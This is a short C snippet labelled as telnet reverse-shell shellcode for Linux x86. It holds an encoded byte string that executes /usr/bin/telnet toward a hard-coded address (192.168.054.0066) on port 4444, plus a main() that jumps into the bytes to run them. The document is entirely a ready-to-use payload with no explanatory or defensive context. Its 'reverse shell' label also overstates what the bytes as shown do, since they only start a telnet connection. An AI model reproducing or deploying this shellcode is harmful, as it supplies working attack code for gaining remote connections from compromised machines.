telnet revese shellcode

char shell[]="\x31\xd2\x52\x68\x6c\x6e\x65\x74\x68\x2f\x2f\x74\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x68\x30\x30\x36\x36\x68\x30\x35\x34\x2e\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe0\x52\x68\x34\x34\x34\x34\x89\xe1\x52\x51\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";


main()
{
int (*e)();
e=(int(*)())shell;
(*e)();


return 0;
}